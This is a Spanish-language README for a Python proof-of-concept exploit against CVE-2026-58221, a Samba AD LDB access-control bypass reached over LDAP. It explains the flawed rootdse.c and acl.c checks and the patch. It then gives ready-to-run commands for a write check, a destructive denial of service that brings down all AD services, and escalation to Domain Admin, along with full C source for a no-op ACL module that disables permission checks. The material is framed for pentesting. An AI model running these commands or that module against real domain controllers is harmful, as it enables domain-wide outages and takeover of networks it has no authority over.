Prueba de concepto en Python para CVE-2026-58221: comprueba y explota el bypass de ACL de DN especial en Samba AD LDB mediante LDAP para demostrar acceso de escritura, provocar la caída de los servicios de AD o escalar a Domain Admin.
CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Cualquier usuario de dominio autenticado puede modificar registros especiales internos de Samba LDB (@MODULES, @PARTITION, @SAMBA_DSDB) a través de LDAP, lo que provoca una Denegación de Servicio (caída de todos los servicios de AD) o una escalada a Administrador de Dominio (con acceso al sistema de archivos local).
| Estado | Versiones |
|---|---|
| Vulnerables | Samba AD DC >= 4.0.0 (todas las versiones anteriores al parche) |
| Corregidas | 4.22.11, 4.23.x, 4.24.x |
Aviso: https://www.samba.org/samba/security/CVE-2026-58221.html
Dos fallos se combinan para eludir todos los controles de acceso sobre los registros internos de LDB de Samba:
rootdse_filter_operations() — Comprobación de autenticación insuficienteEn source4/dsdb/samdb/ldb_modules/rootdse.c, la función rootdse_filter_operations() es el primer filtro de la cadena de peticiones LDAP. Solo bloquea a las llamadas anónimas — cualquier usuario autenticado pasa a través, independientemente de sus privilegios:
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — Omisión de ACL para DN especialesEn source4/dsdb/samdb/ldb_modules/acl.c, el módulo ACL omite todas las comprobaciones de permisos para los DN especiales de LDB (aquellos que comienzan con @), asumiendo que solo las operaciones internas de confianza llegan a ellos:
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
Efecto combinado: Un usuario de dominio autenticado con bajos privilegios envía una solicitud de modificación LDAP dirigida a @MODULES. Esta pasa por rootdse_filter_operations() (no es anónima), llega a acl.c, que detecta un DN especial y omite todas las comprobaciones de ACL — la modificación se realiza con éxito.
La corrección añade una comprobación ldb_dn_is_special() en rootdse_filter_operations() antes de que la solicitud llegue al módulo ACL:
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB es la base de datos interna de Samba (sam.ldb), equivalente al NTDS.dit de Windows. Almacena todos los objetos de Active Directory y utiliza una arquitectura de cadena de módulos para procesar las solicitudes.
samba_dsdbsamba_dsdb es el punto de entrada único que inicializa toda la cadena de módulos de Samba (~30 módulos). Este:
samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)forced_module_msg, que sobrescribe cualquier valor de @PARTITION/modules almacenado en la base de datosEsta es la razón por la que los módulos individuales no pueden cargarse de forma independiente: fallan con Protocol error (2) sin el contexto que proporciona samba_dsdb. También es la razón por la que modificar @PARTITION/modules en la base de datos no tiene efecto sobre la cadena de módulos en ejecución.
| DN | Propósito | Impacto de la modificación |
|---|---|---|
@MODULES/@LIST | Controla qué módulos carga Samba por conexión | Fallo (si se cambia desde samba_dsdb) |
@PARTITION | Configuración de particiones y módulos por partición | Ignorado (sobrescrito por forced_module_msg) |
@SAMBA_DSDB | Configuración interna de samba_dsdb | Fallo |
safe-write (no destructivo) ✅Vuelve a escribir el mismo valor (@LIST: samba_dsdb) en @MODULES. Demuestra el acceso de escritura sin ningún impacto en el servicio. Recomendado para pentests.
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos (Destructivo) ⚠️Reemplaza @MODULES/@LIST con nombres de módulos individuales (excluyendo acl/aclread). En la siguiente conexión, los módulos no logran inicializarse sin el contexto de samba_dsdb → todos los servicios de AD se caen (LDAP, SMB, Kerberos, DNS).
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
Impacto: Interrupción total de AD. La recuperación requiere acceso a la consola local. Toda la autenticación de dominio se detiene.
escalate (Domain Admin — Se requiere acceso local) 🔴Cadena de explotación completa para lograr Domain Admin:
@MODULES es escribible vía LDAP (remoto)acl.so / aclread.so con versiones no-op (local)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
Código fuente del módulo ACL no-op:
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| Modo | Impacto | Requiere |
|---|---|---|
--check | Ninguno (seguro) | LDAPS + credenciales de dominio |
--assess | Ninguno (análisis) | LDAPS + credenciales de dominio |
--exploit --method safe-write | Ninguno (demuestra escritura) | LDAPS + credenciales de dominio |
--exploit --method dos | Interrupción total de AD | LDAPS + credenciales de dominio |
--exploit --method escalate | Administrador de dominio | LDAPS + credenciales de dominio + sudo en el DC |
--cleanup | Revierte la escalada | LDAPS + credenciales de dominio + sudo en el DC |
--fix | Restaura el DC caído | Consola local en el DC |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force